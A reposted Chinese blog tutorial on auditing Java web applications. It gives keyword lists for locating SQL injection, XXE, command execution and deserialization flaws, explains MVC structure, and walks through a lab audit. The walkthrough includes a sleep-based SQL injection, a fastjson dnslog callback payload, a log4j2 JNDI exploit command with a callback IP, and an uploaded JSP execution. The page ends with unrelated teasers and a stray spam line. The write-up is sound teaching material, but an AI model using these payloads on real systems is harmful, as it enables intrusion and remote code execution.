<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    代碼審計之路之白盒挖掘機

    VSole2023-01-07 09:34:28

    Java審計其實和Php審計的思路一樣,唯一不同的可能是復雜的框架和代碼。

    1.正向跟蹤

    從數據層查找變量,一級一級調用,最后到控制器,這種相對簡單、快速。

    2.逆向思維,追蹤變量,對象調用

    查找變量,有沒有傳參數,是誰調用了這個變量,又是誰調用了這個方法,先從控制器找變量,然后逆著找方法,調用關系,最后到DAO層數據。這種方法一般比較浪費時間,跟蹤到最后可能發現變量不可控。

    3.直接挖掘漏洞點

    比如搭建后,訪問平臺,發現有上傳的功能,直接去控制器找上傳相關代碼,進行審計。

    4.通讀全文代碼

    這是最純粹、最直接的方式。但是可能會遇到一個問題——看不懂代碼。

    怎么解決?這個我也不知道,我也看不懂......

    關鍵字定位SQL注入

    大多數JavaEE網站,用的相對多的是SpringMVC架構,那么用到的Mybatis框架就會比較多,所以搜索SQL關鍵字就是"${}"優先,其次是以下的關鍵字。

    如果是SpringBoot ,可能會使用注解等方式,如:

    @query(selectid from user where name = ?);
    

    以上語句寫了"?",則代表是預編譯語句,就不會產生注入,如果寫的是變量,就可能產生注入了。 

    ${}
    select
    insert
    update
    in
    like
    obderby
    statement
    

    文件上傳

    在文件上傳功能中,先看框架——比如Spring框架,默認不會解析jsp文件。然后看代碼有沒有定義黑名單數組等等。

    org.apache.comons.fileupload
    file
    xxxstream
    RequestMethod
    MultipartHttpServletRequest
    

    xss

    getParamter
    <%=
    param
    el表達式
    

    目錄遍歷

    path
    System.GetProperty("yser.dir")
    fileInputStream
    file.read
    filePath
    

    xml注入類似xxe

    DocumentBuilder
    XMLStreamReader
    SAXBuilder
    SAXParserSAXReader 
    XMLReader
    SAXSource
    TransformerFactory
    SAXTransformerFactory
    SchemaFactory
    

    命令執行

    ProcessBuilder
    start
    Runtime
    getRuntime
    exec
    

    序列化

    readObject
    readUnshared
    XMLDecoder.readObject
    Yaml.load
    XStream.fromXML
    ObjectMapper.readValue
    JSON.parseObject
    

    任意文件刪除

    delete
    

    邏輯漏洞沒什么關鍵字,可以去看User控制器,或者看過濾器,尋找有無校驗。

    MVC模式講解

    MVC模式是一種軟件框架模式,被廣泛應用在JavaEE項目的開發中。

    MVC即模型(Model)、視圖(View)、控制器(Controller)。

    模型(Model)

    模型是用于處理數據邏輯的部分。

    所謂數據邏輯,也就是數據的映射以及對數據的增刪改查,Bean、DAO(dataaccess object,數據訪問對象)等都屬于模型部分。

    視圖(View)

    視圖負責數據與其它信息的顯示,也就是給用戶看到的頁面。

    HTML、JSP等頁面都可以作為視圖。

    控制器(controller)

    控制器是模型與視圖之間的橋梁,控制著數據與用戶的交互。

    控制器通常負責從視圖讀取數據,處理用戶輸入,并向模型發送數據,也可以從模型中讀取數據,再發送給視圖,由視圖顯示。

    首先要了解項目整體結構。大致了解作者編寫邏輯,搞清請求流程。

    src/main下面有兩個目錄,分別是java和resources,java目錄中主要存放的是java代碼,resources目錄中主要存放的是資源文件,比如:html、js、css等。

    在Java目錄下還有其他一些常見目錄,具體含義整理如下:

    /java目錄下

    annotation:放置項目自定義注解;

    controller/: 存放控制器,接收從前端傳來的參數,對訪問控制進行轉發、各類基本參數校驗或者不復用的業務簡單處理等;

    dao/: 數據訪問層,與數據庫進行交互,負責數據庫操作,在Mybaits框架中存放自定義的Mapper接口;

    entity/: 存放實體類;

    interceptor/: 攔截器;

    service/:存放服務類,負責業務模塊邏輯處理。Service層中有兩種類,一是Service,用來聲明接口;二是ServiceImpl,作為實現類實現接口中的方法;

    utils/: 存放工具類;

    dto/: 存放數據傳輸對象(DataTransfer Object),如請求參數和返回結果;

    vo/: 視圖對象(ViewObject)用于封裝客戶端請求的數據,防止部分數據泄漏,保證數據安全

    constant/: 存放常量;

    filter/: 存放過濾器。

    /resources目錄下

    mapper/:存放Mybaits的mapper.xml文件;

    static/:存放靜態資源文件目錄(Javascript、CSS、圖片等),在這個目錄中的所有文件可以被直接訪問;

    templates/: 存放模版文件;

    application.properties或application.yml:Spring Boot:默認配置文件。

    代碼跟蹤流程

    用戶請求URL發送到服務器,服務器解析請求后發送到后端代碼處理請求。

    在后端代碼處,首先經過Filter(過濾器)和Interceptor(攔截器),然后根據請求的URL映射到綁定的Controller,之后調用Service接口類,然后再調用serviceImpl接口實現類,最后調用DAO。

    controller:負責簡單的邏輯處理和參數校驗功能,之后調用Service;

    service:接口類,主要負責業務模塊邏輯處理;

    serviceImpl:接口實現類,實現類實現service接口中的方法;

    DAO:如果service涉及數據庫操作就會調用DAO。DAO主要處理數據庫操作。DAO只做中間傳遞角色,

    環境搭建

    以某項目為例。

    配置maven環境,更改中文鏡像:

    選擇pom.xml重載項目 會自動加載依賴:

    找到配置文件更改端口,數據庫信息等,找到sqls文件夾,創建數據庫導入數據即可:

    等pom.xml頁面沒有爆紅,并且自己顯示了綠色按鈕就可以開啟環境了:

    啟動項目:

    漏洞挖掘SQL注入P1

    因為用了mybatis框架,所以先搜索看看有沒有使用不安全的符號進行傳參:

    總共發現了五個,選擇第一個開始審計:

    參數點在88行,向上尋找調用語句:

    上面圖片中,88為變量所在行數,向上尋找select參數,發現是在55行,點擊箭頭,即可跳轉到對應的接口類。

    繼續尋找,點擊方法:

    先在漏洞點打上斷點,標記下:

    然后找方法:

    RequestMapping 是映射的路徑,瀏覽器訪問試試:

    找到對應的頁面:

    注意這些字段,orderby是通過web傳參,isdesc默認是true:

    然后orderutil默認null,判斷orderby是否為空,不為空則執行打印,然后吧數據帶入到orderutil,再然后帶入斷點的地方:

    查看此方法,沒有做過濾:

    Web抓包進行測試,默認是空的,加上sleep(4),延遲有點高:

    sqlmap驗證:

    SQL注入P2

    經過上面的流程,我們大致知道審計步驟了,那再嘗試一個:

    可以發現 和剛才的一樣:

    剩下的也是同樣的思路。

    fastjson反序列化

    搜索關鍵字:

    又回到了剛才的代碼:

    上方的注釋告訴我們,這是在產品添加功能。

    把鼠標放到數據里,會顯示原數據格式,是json沒錯了:

    dnslog探測:

    {"@type":"java.net.Inet4Address","val":"bb1e2x.dnslog.cn"}
    url編碼
    %7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D
    

    log4j2遠程代碼執行

    搜索關鍵字info、error、logger等,找變量拼接:

    獲取的是個整數不是字符串,這個就不能被控制。接著找。找了一圈,終于找到有字符串的了:

    來到上傳頭像的地方,抓包:

    獲取了數據but dnslog,沒數據看了下jdk,原來版本太高了,換一下版本,發現仍然不行。嘗試彈計算器,結果成功:

    java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open/System/Applications/Calculator.app" -A "172.16.183.129"
    

    任意文件上傳

    同上,就是頭像上傳功能:

    獲取文件名,然后去掉多余的“.”。名字是隨機的uuid,拼接路徑,然后上傳,沒有做過濾。

    上傳一個jsp試試:

    /tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp
    

    發現jsp被執行了,為什么?因為在pom添加了解析庫,大多數項目是不會添加的:

    反射xss

    牢記四字:見框就插。

    總結

    有任何問題,可以在評論區留言,我們共同探討,共同進步!

    變量
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    俄烏戰爭正在重塑網絡空間對抗格局?
    angr符號變量轉LLVM IR
    2022-05-12 16:13:42
    關于如何處理虛擬機的,并給出了針對tigress虛擬機的攻擊方法。從而實現了將expr lift到llvm的ir。claripy的表示中有很多種操作,這里列出兩種常見又難以處理的操作。
    動態函數PHP中支持一個功能叫 variable function ,變量函數的意思。//最終是system;當一個變量后邊帶括號,那他就被視作一個函數。編譯器會解析出變量的值,然后會去找當前是否存在名為“system()”的函數并執行它。這里就不給實例了,很多免殺案例中都用到了這個特性。也是被瘋狂查殺的特征。回調函數回調函數,簡單來說就是一個函數不是由我直接調用,而是通過另一個函數去調用它。
    近日,Mozilla 檢測到 Firefox 出現了大量崩潰事件,這個問題主要發生在使用 Linux 系統的用戶身上,尤其是使用基于舊版本 Debian 的 Linux 系統上。經過調查,Mozilla 最后發現這個問題并非由 Firefox 本身引起,而是涉及到 Linux 內核和 Google 的 JavaScript 代碼。崩潰事件也并不是隨機發生,而是能夠 100% 復現。Mozilla 隨后開始分析 Firefox 在崩潰時的行為,發現崩潰發生在堆棧探測期間。這個問題在 Linux 4.20 中被修復了,所以使用較新的發行版的用戶不受影響。
    系統安全第40篇文章介紹PowerShell基礎知識,希望您喜歡
    Python人工智能第11篇文章介紹如何保存神經網絡參數
    數據安全成為影響國家安全的一大變量據悉,6月22日,西北工業大學發布《公開聲明》稱,該校遭受境外網絡攻擊。陜西省西安市公安局碑林分局隨即發布警情通報,證實在西北工業大學的信息網絡中發現了多款源于境外的木馬樣本,西安警方已對此正式立案調查。該部門近年來對中國進行了數萬次惡意攻擊,控制了大量網絡設備,超過140GB的高價值數據被盜,就連中國的手機用戶也受到美國的監視。
    只有執行時才會被調用到內存中!ELF文件由4部分組成,分別是ELF頭、程序頭表、節和節頭表。
    漏洞信息`Apache Commons Configuration` 執行變量插值,允許動態評估和擴展屬性。從 `2.4` 版開始到 `2.7` 版,默認的 `Lookup` 實例集包括可能導致任意代碼執行或與遠程服務器聯系的插值器。
    Pythonos標準庫
    2022-08-08 09:49:08
    os標準庫的主要功能系統相關變量操作文件和目錄相關操作執行命令和管理進程os.nameos.name打印出來的是當前操作系統import os. os.sepos.sep用來查看當前操作系統支持的分隔符,Mac是/,Windows是\import os. os.path.realpath()和os.path.abspath()用來顯示當前文件絕對路徑import os
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类